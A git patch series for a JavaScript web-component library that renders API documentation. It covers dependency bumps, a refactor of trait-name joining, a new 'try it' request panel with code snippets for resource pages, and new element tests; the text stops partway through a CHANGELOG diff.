"commander": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", - "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "version": "8.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-8.2.0.tgz", + "integrity": "sha512-LLKxDvHeL91/8MIyTAD5BFMNtoIwztGPMiM/7Bl8rIPmHCZXRxmSWr91h57dpOpnQ6jIUqEWdXE/uBYMfiVZDA==", "dev": true }, "debug": { @@ -7287,21 +7281,20 @@ "ms": "2.1.2" } }, - "log-symbols": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", - "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", - "dev": true, - "requires": { - "chalk": "^4.1.0", - "is-unicode-supported": "^0.1.0" - } - }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", "dev": true + }, + "supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } } } }, diff --git a/package.json b/package.json index dea371f..411c9c3 100644 --- a/package.json +++ b/package.json @@ -42,8 +42,8 @@ "@anypoint-web-components/anypoint-listbox": "^1.1.7", "@anypoint-web-components/anypoint-radio-button": "^0.1.9", "@anypoint-web-components/anypoint-tabs": "^0.1.19", - "@api-components/amf-helper-mixin": "^4.5.14", - "@api-components/api-request": "^0.3.0-beta.6", + "@api-components/amf-helper-mixin": "^4.5.15", + "@api-components/api-request": "^0.3.0-beta.8", "@api-components/api-schema": "^0.1.4", "@api-components/api-server-selector": "^0.7.1", "@api-components/http-method-label": "^3.1.4", @@ -71,7 +71,7 @@ "eslint": "^7.32.0", "eslint-config-prettier": "^8.3.0", "husky": "^7.0.2", - "lint-staged": "^11.1.2", + "lint-staged": "^11.2.0", "sinon": "^11.1.2", "typescript": "^4.4.3", "typescript-lit-html-plugin": "^0.9.0", diff --git a/src/elements/ApiOperationDocumentElement.js b/src/elements/ApiOperationDocumentElement.js index e163578..95ccdc6 100644 --- a/src/elements/ApiOperationDocumentElement.js +++ b/src/elements/ApiOperationDocumentElement.js @@ -22,6 +22,7 @@ import { customDomainPropertiesTemplate, evaluateExample, } from './ApiDocumentationBase.js'; +import { joinTraitNames } from '../lib/Utils.js'; import { tablePropertyTemplate } from './SchemaCommonTemplates.js'; import schemaStyles from './styles/SchemaCommon.js'; import '../../api-request-document.js'; @@ -63,7 +64,7 @@ export const preselectResponse = Symbol('preselectResponse'); export const preselectSecurity = Symbol('preselectSecurity'); export const requestMimeChangeHandler = Symbol('requestMimeChangeHandler'); export const titleTemplate = Symbol('titleTemplate'); -export const traitsTemplate = Symbol('extendsTemplate'); +export const traitsTemplate = Symbol('traitsTemplate'); export const summaryTemplate = Symbol('summaryTemplate'); export const urlTemplate = Symbol('urlTemplate'); export const requestTemplate = Symbol('requestTemplate'); @@ -737,21 +738,11 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { */ [traitsTemplate]() { const operation = /** @type ApiOperation */ (this[operationValue]); - const { traits } = operation; + const { extends: traits } = operation; if (!traits || !traits.length) { return ''; } - const names = traits.map(trait => trait.name).filter(i => !!i); - let value = ''; - if (names.length === 2) { - value = names.join(' and '); - } else if (value.length > 2) { - const last = names.pop(); - value = names.join(', '); - value += `, and ${last}`; - } else { - value = names.join(', '); - } + const value = joinTraitNames(traits); return html`

    Mixes in ${value}.

    diff --git a/src/elements/ApiResourceDocumentationElement.js b/src/elements/ApiResourceDocumentationElement.js index 7deb67b..d031cb6 100644 --- a/src/elements/ApiResourceDocumentationElement.js +++ b/src/elements/ApiResourceDocumentationElement.js @@ -1,7 +1,9 @@ /* eslint-disable class-methods-use-this */ import { html } from 'lit-element'; +import { classMap } from 'lit-html/directives/class-map.js'; import { MarkdownStyles } from '@advanced-rest-client/highlight'; import { UrlLib } from '@api-components/api-request'; +import '@api-components/api-request/api-request-panel.js'; import elementStyles from './styles/ApiResource.js'; import commonStyles from './styles/Common.js'; import { @@ -12,6 +14,7 @@ import { serializerValue, customDomainPropertiesTemplate, } from './ApiDocumentationBase.js'; +import { joinTraitNames } from '../lib/Utils.js'; import '../../api-operation-document.js' import '../../api-parameter-document.js'; @@ -20,6 +23,11 @@ import '../../api-parameter-document.js'; /** @typedef {import('@api-components/amf-helper-mixin').EndPoint} EndPoint */ /** @typedef {import('@api-components/amf-helper-mixin').ApiServer} ApiServer */ /** @typedef {import('@api-components/amf-helper-mixin').ApiOperation} ApiOperation */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiAnyShape} ApiAnyShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */ +/** @typedef {import('@api-components/api-server-selector').ServerType} ServerType */ +/** @typedef {import('@api-components/api-request').ApiRequestPanelElement} ApiRequestPanelElement */ +/** @typedef {import('@api-components/api-request/src/types').ApiConsoleRequest} ApiConsoleRequest */ export const operationIdValue = Symbol('operationIdValue'); export const queryEndpoint = Symbol('queryEndpoint'); @@ -39,6 +47,13 @@ export const parametersTemplate = Symbol('parametersTemplate'); export const operationIdChanged = Symbol('operationIdChanged'); export const selectServer = Symbol('selectServer'); export const processServerSelection = Symbol('processServerSelection'); +export const extensionsTemplate = Symbol('extensionsTemplate'); +export const tryItColumnTemplate = Symbol('tryItColumnTemplate'); +export const tryItPanelTemplate = Symbol('tryItPanelTemplate'); +export const codeSnippetsPanelTemplate = Symbol('codeSnippetsPanelTemplate'); +export const requestChangeHandler = Symbol('requestChangeHandler'); +export const requestValues = Symbol('requestValues'); +export const collectCodeSnippets = Symbol('collectCodeSnippets'); /** * A web component that renders the resource documentation page for an API resource built from @@ -99,21 +114,23 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas } this[serverIdValue] = value; this[selectServer](); + this[processServerSelection](); + this.requestUpdate(); } /** @returns {ApiServer|undefined} */ get server() { if (this[serverValue]) { - return this[serversValue]; + return this[serverValue]; } const servers = this[serversValue]; if (Array.isArray(servers) && servers.length) { const [server] = servers; if (server) { - this[serversValue] = server; + this[serverValue] = server; } } - return this[serversValue]; + return this[serverValue]; } /** @param {ApiServer} value */ @@ -124,7 +141,7 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas } this[serverValue] = value; this[processServerSelection](); - this[computeUrlValue](); + this.requestUpdate(); } /** @@ -183,7 +200,72 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas /** * When set it renders the "try it" button that dispatches the `tryit` event. */ - tryIt: { type: Boolean, reflect: true }, + tryItButton: { type: Boolean, reflect: true }, + /** + * When set it renders the "try it" panel next to the operation documentation. + * Setting this automatically disables the `tryItButton` property. + * + * Note, use this only when there's enough space on the screen to render 2 panels side-by-side. + */ + tryItPanel: { type: Boolean, reflect: true }, + /** + * When set it renders the URL input above the URL parameters in the HTTP editor. + */ + httpUrlEditor: { type: Boolean, reflect: true }, + /** + * When set it applies the authorization values to the request dispatched + * with the API request event. + * If possible, it applies the authorization values to query parameter or headers + * depending on the configuration. + * + * When the values arr applied to the request the authorization config is kept in the + * request object, but its `enabled` state is always `false`, meaning other potential + * processors should ignore this values. + * + * If this property is not set then the application hosting this component should + * process the authorization data and apply them to the request. + */ + httpApplyAuthorization: { type: Boolean, reflect: true }, + /** + * List of credentials source passed to the HTTP editor + */ + httpCredentialsSource: { type: Array }, + /** + * OAuth2 redirect URI. + * This value **must** be set in order for OAuth 1/2 to work properly. + * This is only required in inline mode (`inlineMethods`). + */ + redirectUri: { type: String }, + /** + * Optional property to set on the request editor. + * When true, the server selector is not rendered + */ + httpNoServerSelector: { type: Boolean }, + /** + * When set it renders "add custom" item button in the HTTP request editor. + * If the element is to be used without AMF model this should always + * be enabled. Otherwise users won't be able to add a parameter. + */ + httpAllowCustom: { type: Boolean }, + /** + * Optional property to set on the request editor. + * If true, the server selector custom base URI option is rendered + */ + httpAllowCustomBaseUri: { type: Boolean }, + /** + * When set it renders the view optimised for asynchronous API operation. + */ + asyncApi: { type: Boolean, reflect: true }, + /** + * Holds the value of the currently selected server + * Data type: URI + */ + serverValue: { type: String }, + /** + * Holds the type of the currently selected server + * Values: `server` | `uri` | `custom` + */ + serverType: { type: String }, }; } @@ -218,9 +300,32 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas /** @type {EndPoint} */ this.domainModel = undefined; /** @type {boolean} */ - this.tryIt = undefined; + this.tryItButton = undefined; + /** @type {boolean} */ + this.tryItPanel = undefined; + /** @type {boolean} */ + this.httpUrlEditor = undefined; + /** @type {boolean} */ + this.httpNoServerSelector = undefined; + /** @type {boolean} */ + this.httpAllowCustomBaseUri = undefined; + /** @type {boolean} */ + this.httpAllowCustom = undefined; + /** @type {boolean} */ + this.asyncApi = undefined; + /** @type {string} */ + this.redirectUri = undefined; + /** @type {ServerType} */ + this.serverType = undefined; + /** @type {string} */ + this.serverValue = undefined; + /** @type {boolean} */ + this.httpApplyAuthorization = undefined; + this.httpCredentialsSource = undefined; /** @type ApiServer */ this[serverValue] = undefined; + /** @type {Record} */ + this[requestValues] = {}; } /** @@ -228,13 +333,16 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas */ async processGraph() { const { domainModel, domainId, amf } = this; + this[requestValues] = /** @type {Record} */ ({}); if (domainModel) { this[endpointValue] = this[serializerValue].endPoint(domainModel); } else if (domainId && amf) { - const webApi = this._computeApi(amf); - const model = this._computeEndpointModel(webApi, domainId); - if (model) { - this[endpointValue] = this[serializerValue].endPoint(model); + if (!this[endpointValue] || this[endpointValue].id !== domainId) { + const webApi = this._computeApi(amf); + const model = this._computeEndpointModel(webApi, domainId); + if (model) { + this[endpointValue] = this[serializerValue].endPoint(model); + } } } await this[queryServers](); @@ -243,6 +351,7 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas if (this.operationId) { // this timeout gives few milliseconds for the operations to render. setTimeout(() => { + this[collectCodeSnippets](); // Todo: operations should inform the parent that the view is rendered // and after that this function should be called. this.scrollToOperation(this.operationId); @@ -304,7 +413,12 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas return; } this[serverValue] = servers.find(s => s.id === serverId); - this[processServerSelection](); + } + + /** + * Performs actions after a server is selected. + */ + [processServerSelection]() { this[computeUrlValue](); } @@ -320,16 +434,48 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas this[urlValue] = url; } + /** + * Runs over each request editor and collects request values for code snippets generators. + */ + [collectCodeSnippets]() { + const panels = this.shadowRoot.querySelectorAll('api-request-panel'); + Array.from(panels).forEach((panel) => { + const { requestId } = panel.dataset; + if (!requestId) { + return; + } + const request = panel.serialize(); + this[requestValues][requestId] = request; + }); + this.requestUpdate(); + } + + /** + * @param {Event} e + */ + [requestChangeHandler](e) { + const panel = /** @type ApiRequestPanelElement */ (e.target); + const { requestId } = panel.dataset; + if (!requestId) { + return; + } + const request = panel.serialize(); + this[requestValues][requestId] = request; + this.requestUpdate(); + } + render() { - if (!this[endpointValue]) { + const { endpoint } = this; + if (!endpoint) { return html``; } return html` ${this[titleTemplate]()} - ${this[descriptionTemplate](this[endpointValue].description)} - ${this[customDomainPropertiesTemplate](this[endpointValue].customDomainProperties)} ${this[urlTemplate]()} + ${this[extensionsTemplate]()} + ${this[descriptionTemplate](endpoint.description)} + ${this[customDomainPropertiesTemplate](endpoint.customDomainProperties)} ${this[parametersTemplate]()} ${this[operationsTemplate]()} `; @@ -339,8 +485,8 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas * @returns {TemplateResult|string} The template for the Operation title. */ [titleTemplate]() { - const endPoint = this[endpointValue]; - const { name, path } = endPoint; + const { endpoint} = this; + const { name, path } = endpoint; const label = name || path; if (!label) { return ''; @@ -371,8 +517,8 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas * @returns {TemplateResult|string} The template for the list of operations. */ [operationsTemplate]() { - const endPoint = /** @type ApiEndPoint */ (this[endpointValue]); - const { operations } = endPoint; + const { endpoint } = this; + const { operations } = endpoint; if (!operations.length) { return ''; } @@ -382,33 +528,144 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas } /** - * @param {ApiOperation} operation The graph id of the operation. + * @param {ApiOperation} operation The operation to render. * @returns {TemplateResult} The template for the API operation. */ [operationTemplate](operation) { - const { serverId, baseUri } = this; - return html` + + ${tryItPanel ? this[tryItColumnTemplate](operation) : ''} +
    + `; + } + + /** + * @param {ApiOperation} operation The operation to render. + * @returns {TemplateResult} The template for the try it column panel rendered next to the operation documentation/ + */ + [tryItColumnTemplate](operation) { + return html` +
    + + ${this[tryItPanelTemplate](operation)} + ${this[codeSnippetsPanelTemplate](operation)} + +
    + `; + } + + /** + * @param {ApiOperation} operation The operation to render. + * @returns {TemplateResult} The template for the request editor. + */ + [tryItPanelTemplate](operation) { + const content = html` + `; + .selected="${operation.id}" + .serverValue="${this.serverValue}" + .serverType="${this.serverType}" + .baseUri="${this.baseUri}" + .redirectUri="${this.redirectUri}" + .credentialsSource="${this.httpCredentialsSource}" + ?compatibility="${this.anypoint}" + ?urlEditor="${this.httpUrlEditor}" + ?urlLabel="${!this.httpUrlEditor}" + ?noServerSelector="${this.httpNoServerSelector}" + ?applyAuthorization="${this.httpApplyAuthorization}" + ?allowCustomBaseUri="${this.httpAllowCustomBaseUri}" + ?allowCustom="${this.httpAllowCustom}" + allowHideOptional + globalCache + data-request-id="${operation.id}" + @change="${this[requestChangeHandler]}" + > + `; + + return content; + } + + /** + * @param {ApiOperation} operation The operation to render. + * @returns {TemplateResult|string} The template for the request's code snippets. + */ + [codeSnippetsPanelTemplate](operation) { + const values = this[requestValues][operation.id]; + if (!values) { + return ''; + } + let { payload } = values + if (payload && typeof payload !== 'string') { + payload = ''; + } + return html` +
    + +
    + `; } /** * @return {TemplateResult|string} The template for the endpoint's URI params. */ [parametersTemplate]() { - const endPoint = /** @type ApiEndPoint */ (this[endpointValue]); - const { parameters } = endPoint; + const { endpoint } = this; + const { parameters } = endpoint; if (!parameters.length) { return ''; } const content = parameters.map((param) => this[schemaItemTemplate](param)); return this[paramsSectionTemplate]('URI parameters', 'parametersOpened', content); } + + /** + * @return {TemplateResult|string} The template for the endpoint's extensions. + */ + [extensionsTemplate]() { + const { endpoint, ns } = this; + const { extends: extensions } = endpoint; + + if (!extensions || !extensions.length) { + return ''; + } + + const type = extensions.find(e => e.types.includes(ns.aml.vocabularies.apiContract.ParametrizedResourceType)); + const traits = extensions.filter(e => e.types.includes(ns.aml.vocabularies.apiContract.ParametrizedTrait)); + const traitsLabel = joinTraitNames(traits); + const typeLabel = type && type.name; + if (!traitsLabel && !typeLabel) { + return ''; + } + return html` +
    + ${typeLabel ? html`Implements ${typeLabel}.` : ''} + ${traitsLabel ? html`Mixes in ${traitsLabel}.` : ''} +
    + `; + } } diff --git a/src/elements/styles/ApiResource.js b/src/elements/styles/ApiResource.js index 9ef24dc..7e316cf 100644 --- a/src/elements/styles/ApiResource.js +++ b/src/elements/styles/ApiResource.js @@ -28,6 +28,51 @@ export default css` } .operation { - margin: 60px 0; + padding: 72px 0; +} + +.extensions { + font-style: italic; + margin: 12px 0; +} + +.operation-container.tryit { + display: flex; + flex-direction: row; + box-sizing: border-box; +} + +.operation-container.tryit api-operation-document { + width: var(--resource-operation-doc-width ,var(--api-endpoint-documentation-method-doc-width, 60%)); + max-width: var(--resource-operation-doc-max-width, var(--api-endpoint-documentation-method-doc-max-width)); + padding-right: 12px; + box-sizing: border-box; +} + +.operation-container.tryit .try-it-column { + padding: 60px 12px; + width: var(--resource-tryit-width, var(--api-endpoint-documentation-tryit-width, 40%)); + max-width: var(--resource-tryit-max-width, var(--api-endpoint-documentation-tryit-max-width)); + background-color: var(--resource-tryit-background-color, var(--api-endpoint-documentation-tryit-background-color, #ECEFF1)); +} + +.try-it-column api-request-panel, +.try-it-column http-code-snippets { + padding: 4px 4px 12px 4px; + background-color: var(--resource-tryit-panels-background-color, var(--api-endpoint-documentation-tryit-panels-background-color, #fff)); + box-sizing: border-box; + border-radius: var(--resource-tryit-panels-border-radius, var(--api-endpoint-documentation-tryit-panels-border-radius, 0px)); + border-width: 1px; + border-color: var(--resource-tryit-panels-border-color, var(--api-endpoint-documentation-tryit-panels-border-color, #EEEEEE)); + border-style: var(--resource-tryit-panels-border-style, var(--api-endpoint-documentation-tryit-panels-border-style, solid)); +} + +/* .sticky-content { + position: sticky; + top: 10px; +} */ + +.snippets { + margin-top: 20px; } `; diff --git a/src/lib/Utils.js b/src/lib/Utils.js index b0a4730..75f6880 100644 --- a/src/lib/Utils.js +++ b/src/lib/Utils.js @@ -11,6 +11,7 @@ import sanitizer from 'dompurify'; /** @typedef {import('@api-components/amf-helper-mixin').ApiNodeShape} ApiNodeShape */ /** @typedef {import('@api-components/amf-helper-mixin').ApiAnyShape} ApiAnyShape */ /** @typedef {import('@api-components/amf-helper-mixin').ApiServer} ApiServer */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiParametrizedDeclaration} ApiParametrizedDeclaration */ /** @typedef {import('../types').OperationParameter} OperationParameter */ /** @@ -149,3 +150,21 @@ export function sanitizeHTML(HTML) { // @ts-ignore return result.toString(); } + +/** + * @param {ApiParametrizedDeclaration[]} traits + */ +export function joinTraitNames(traits) { + const names = traits.map(trait => trait.name).filter(i => !!i); + let value = ''; + if (names.length === 2) { + value = names.join(' and '); + } else if (value.length > 2) { + const last = names.pop(); + value = names.join(', '); + value += `, and ${last}`; + } else { + value = names.join(', '); + } + return value; +} From 873734d168b38057043d0a0d2174b8b03beaf1e2 Mon Sep 17 00:00:00 2001 From: Pawel Psztyc Date: Mon, 4 Oct 2021 23:59:45 -0700 Subject: [PATCH 22/24] test: adding basicv resource tests Signed-off-by: Pawel Psztyc --- demo/api-resource.js | 4 +- demo/apis/demo-api/demo-api.raml | 2 +- demo/apis/demo-api/traits/rate-limited.raml | 2 +- .../ApiResourceDocumentationElement.js | 28 +--- .../ApiRequestDocumentElement.test.js | 4 +- .../ApiResourceDocumentationElement.test.js | 148 ++++++++++++++++++ 6 files changed, 163 insertions(+), 25 deletions(-) create mode 100644 test/elements/ApiResourceDocumentationElement.test.js diff --git a/demo/api-resource.js b/demo/api-resource.js index 41c794a..547ed5d 100644 --- a/demo/api-resource.js +++ b/demo/api-resource.js @@ -25,7 +25,7 @@ class ComponentPage extends AmfDemoBase { this.selectedType = undefined; this.selectedOperation = undefined; this.tryItButton = true; - this.tryItPanel = true; + this.tryItPanel = false; this.overrideBaseUri = false; this.componentName = 'api-endpoint-document'; this.redirectUri = `${window.location.origin}/node_modules/@advanced-rest-client/oauth-authorization/oauth-popup.html`; @@ -165,6 +165,7 @@ class ComponentPage extends AmfDemoBase { .serverValue="${this.serverValue}" ?tryItButton="${tryItButton}" ?tryItPanel="${tryItPanel}" + ?anypoint="${this.compatibility}" .baseUri="${finalBaseUri}" slot="content" @tryit="${this.tryitHandler}" @@ -214,6 +215,7 @@ class ComponentPage extends AmfDemoBase { ['SE-10469', 'SE-10469'], ['SE-11415', 'SE-11415'], ['async-api', 'async-api'], + ['Petstore-v2', 'Petstore OAS API'], ['api-keys', 'API key (OAS)'], ['oauth-flows', 'OAuth 2 flows'], ['oas-bearer', 'Bearer token'], diff --git a/demo/apis/demo-api/demo-api.raml b/demo/apis/demo-api/demo-api.raml index 01733a5..99d3c9b 100644 --- a/demo/apis/demo-api/demo-api.raml +++ b/demo/apis/demo-api/demo-api.raml @@ -19,7 +19,7 @@ baseUriParameters: The execution environments. Can be one of: - development - staging - - qa + - qa∂ - production type: string enum: [development, staging, qa, production] diff --git a/demo/apis/demo-api/traits/rate-limited.raml b/demo/apis/demo-api/traits/rate-limited.raml index 7105984..7d06304 100644 --- a/demo/apis/demo-api/traits/rate-limited.raml +++ b/demo/apis/demo-api/traits/rate-limited.raml @@ -1,6 +1,6 @@ #%RAML 1.0 Trait -displayName: RateLimited +# displayName: RateLimited usage: TO be used when the API has a rate limit on the API gateway. headers: x-rate-client-id: diff --git a/src/elements/ApiResourceDocumentationElement.js b/src/elements/ApiResourceDocumentationElement.js index d031cb6..0a2bd3e 100644 --- a/src/elements/ApiResourceDocumentationElement.js +++ b/src/elements/ApiResourceDocumentationElement.js @@ -7,9 +7,7 @@ import '@api-components/api-request/api-request-panel.js'; import elementStyles from './styles/ApiResource.js'; import commonStyles from './styles/Common.js'; import { - ApiDocumentationBase, - paramsSectionTemplate, - schemaItemTemplate, + ApiDocumentationBase, descriptionTemplate, serializerValue, customDomainPropertiesTemplate, @@ -43,7 +41,6 @@ export const titleTemplate = Symbol('titleTemplate'); export const urlTemplate = Symbol('urlTemplate'); export const operationsTemplate = Symbol('operationsTemplate'); export const operationTemplate = Symbol('operationTemplate'); -export const parametersTemplate = Symbol('parametersTemplate'); export const operationIdChanged = Symbol('operationIdChanged'); export const selectServer = Symbol('selectServer'); export const processServerSelection = Symbol('processServerSelection'); @@ -476,7 +473,6 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas ${this[extensionsTemplate]()} ${this[descriptionTemplate](endpoint.description)} ${this[customDomainPropertiesTemplate](endpoint.customDomainProperties)} - ${this[parametersTemplate]()} ${this[operationsTemplate]()} `; } @@ -491,12 +487,13 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas if (!label) { return ''; } + const subLabel = this.asyncApi ? 'API channel' : 'API endpoint'; return html`
    ${label}
    -

    API endpoint

    +

    ${subLabel}

    `; } @@ -551,6 +548,7 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas responsesOpened renderSecurity ?renderCodeSnippets="${!tryItPanel}" + ?asyncApi="${this.asyncApi}" class="operation" > ${tryItPanel ? this[tryItColumnTemplate](operation) : ''} @@ -560,9 +558,12 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas /** * @param {ApiOperation} operation The operation to render. - * @returns {TemplateResult} The template for the try it column panel rendered next to the operation documentation/ + * @returns {TemplateResult|string} The template for the try it column panel rendered next to the operation documentation/ */ [tryItColumnTemplate](operation) { + if (this.asyncApi) { + return ''; + } return html`
    @@ -630,19 +631,6 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas `; } - /** - * @return {TemplateResult|string} The template for the endpoint's URI params. - */ - [parametersTemplate]() { - const { endpoint } = this; - const { parameters } = endpoint; - if (!parameters.length) { - return ''; - } - const content = parameters.map((param) => this[schemaItemTemplate](param)); - return this[paramsSectionTemplate]('URI parameters', 'parametersOpened', content); - } - /** * @return {TemplateResult|string} The template for the endpoint's extensions. */ diff --git a/test/elements/ApiRequestDocumentElement.test.js b/test/elements/ApiRequestDocumentElement.test.js index 9fce854..cd011cf 100644 --- a/test/elements/ApiRequestDocumentElement.test.js +++ b/test/elements/ApiRequestDocumentElement.test.js @@ -45,11 +45,11 @@ describe('ApiRequestDocumentElement', () => { assert.ok(section, 'the section is rendered'); const params = element.shadowRoot.querySelectorAll('api-parameter-document[data-name="header"]'); - assert.lengthOf(params, 1, 'has all parameters document'); + assert.lengthOf(params, 2, 'has all parameters document'); }); it('ignores headers section when no headers', async () => { - const data = loader.lookupRequest(model, '/people', 'put'); + const data = loader.lookupRequest(model, '/messages', 'get'); const element = await basicFixture(model, data); assert.isFalse(element.hasHeaders, 'hasHeaders is true'); diff --git a/test/elements/ApiResourceDocumentationElement.test.js b/test/elements/ApiResourceDocumentationElement.test.js new file mode 100644 index 0000000..4388c36 --- /dev/null +++ b/test/elements/ApiResourceDocumentationElement.test.js @@ -0,0 +1,148 @@ +import { fixture, assert, html, aTimeout } from '@open-wc/testing'; +import { AmfLoader } from '../AmfLoader.js'; +import '../../api-resource-document.js'; + +/** @typedef {import('../../').ApiResourceDocumentationElement} ApiResourceDocumentationElement */ +/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */ +/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */ +/** @typedef {import('@api-components/amf-helper-mixin').Response} Response */ + +describe('ApiResourceDocumentationElement', () => { + const loader = new AmfLoader(); + + /** + * @param {AmfDocument} amf + * @param {string=} domainId + * @returns {Promise} + */ + async function basicFixture(amf, domainId) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiResourceDocumentationElement */ (element); + } + + /** + * @param {AmfDocument} amf + * @param {string=} domainId + * @returns {Promise} + */ + async function asyncFixture(amf, domainId) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiResourceDocumentationElement */ (element); + } + + [false, true].forEach((compact) => { + /** @type AmfDocument */ + let demoModel; + /** @type AmfDocument */ + let asyncModel; + /** @type AmfDocument */ + let petStoreModel; + before(async () => { + demoModel = await loader.getGraph(compact); + asyncModel = await loader.getGraph(compact, 'async-api'); + petStoreModel = await loader.getGraph(compact, 'Petstore-v2'); + }); + + describe('title are rendering', () => { + it('renders the endpoint name, when defined', async () => { + const data = loader.lookupEndpoint(demoModel, '/people'); + const element = await basicFixture(demoModel, data['@id']); + const header = element.shadowRoot.querySelector('.endpoint-header'); + const label = header.querySelector('.label'); + assert.equal(label.textContent.trim(), 'People'); + }); + + it('renders the endpoint path, when name not defined', async () => { + const data = loader.lookupEndpoint(demoModel, '/orgs/{orgId}'); + const element = await basicFixture(demoModel, data['@id']); + const header = element.shadowRoot.querySelector('.endpoint-header'); + const label = header.querySelector('.label'); + assert.equal(label.textContent.trim(), '/orgs/{orgId}'); + }); + + it('renders the endpoint sub-title for sync API', async () => { + const data = loader.lookupEndpoint(demoModel, '/orgs/{orgId}'); + const element = await basicFixture(demoModel, data['@id']); + const header = element.shadowRoot.querySelector('.endpoint-header'); + const label = header.querySelector('.sub-header'); + assert.equal(label.textContent.trim(), 'API endpoint'); + }); + + it('renders the endpoint sub-title for async API', async () => { + const data = loader.lookupEndpoint(asyncModel, 'hello'); + const element = await asyncFixture(asyncModel, data['@id']); + const header = element.shadowRoot.querySelector('.endpoint-header'); + const label = header.querySelector('.sub-header'); + assert.equal(label.textContent.trim(), 'API channel'); + }); + }); + + describe('URL rendering', () => { + it('renders the endpoint uri for a synchronous API', async () => { + const data = loader.lookupEndpoint(petStoreModel, '/pets'); + const element = await basicFixture(petStoreModel, data['@id']); + const value = element.shadowRoot.querySelector('.endpoint-url .url-value'); + assert.equal(value.textContent.trim(), 'http://petstore.swagger.io/api/pets'); + }); + + it('renders the channel uri for an async API', async () => { + const data = loader.lookupEndpoint(asyncModel, 'goodbye'); + const element = await basicFixture(asyncModel, data['@id']); + const value = element.shadowRoot.querySelector('.endpoint-url .url-value'); + assert.equal(value.textContent.trim(), 'amqp://broker.mycompany.com/goodbye'); + }); + }); + + describe('Extensions rendering', () => { + it('renders resource type extension', async () => { + const data = loader.lookupEndpoint(demoModel, '/people/{personId}'); + const element = await basicFixture(demoModel, data['@id']); + const value = element.shadowRoot.querySelector('.extensions'); + assert.equal(value.textContent.trim(), 'Implements ResourceNotFound.'); + }); + + it('renders traits extension', async () => { + const data = loader.lookupEndpoint(asyncModel, '/orgs/{orgId}'); + const element = await basicFixture(asyncModel, data['@id']); + const value = element.shadowRoot.querySelector('.extensions'); + assert.equal(value.textContent.trim(), 'Mixes in RateLimited.'); + }); + + it('renders both the traits and the response type extension', async () => { + const data = loader.lookupEndpoint(asyncModel, '/people'); + const element = await basicFixture(asyncModel, data['@id']); + const value = element.shadowRoot.querySelector('.extensions'); + assert.equal(value.textContent.trim(), 'Implements RequestErrorResponse. Mixes in RateLimited.'); + }); + }); + + describe('Description rendering', () => { + it('renders the description', async () => { + const data = loader.lookupEndpoint(demoModel, '/people/{personId}'); + const element = await basicFixture(demoModel, data['@id']); + const desc = element.shadowRoot.querySelector('.api-description'); + assert.ok(desc, 'has the description'); + const marked = desc.querySelector('arc-marked'); + assert.equal(marked.markdown, 'The endpoint to access information about the person'); + }); + + it('renders traits extension', async () => { + const data = loader.lookupEndpoint(asyncModel, '/people'); + const element = await basicFixture(asyncModel, data['@id']); + const desc = element.shadowRoot.querySelector('.api-description'); + assert.notOk(desc, 'has no description'); + }); + }); + }); +}); From e45e220e50faa9cc5e9f7d9a3a19dc812150c164 Mon Sep 17 00:00:00 2001 From: Pawel Psztyc Date: Tue, 5 Oct 2021 11:04:44 -0700 Subject: [PATCH 23/24] test: writing tests for resource document Signed-off-by: Pawel Psztyc --- CHANGELOG.md | 6 + demo/api-documentation-document.js | 17 ++ demo/api-documentation.js | 2 - demo/api-operation.js | 2 +- demo/demo.css | 48 ++++- package.json | 3 +- src/elements/ApiOperationDocumentElement.js | 6 +- .../ApiResourceDocumentationElement.js | 104 ++++++++--- src/elements/styles/ApiOperation.js | 10 +- src/elements/styles/Common.js | 2 +- .../ApiOperationDocumentElement.test.js | 2 +- .../ApiResourceDocumentationElement.test.js | 176 +++++++++++++++++- 12 files changed, 329 insertions(+), 49 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index a93e1cc..89222ed 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,4 +7,10 @@ The `api-resource-document` element has the following properties changes compared to deprecated `api-endpoint-documentation` - `noTryIt` is renamed to `tryItButton`. When `tryItButton` is 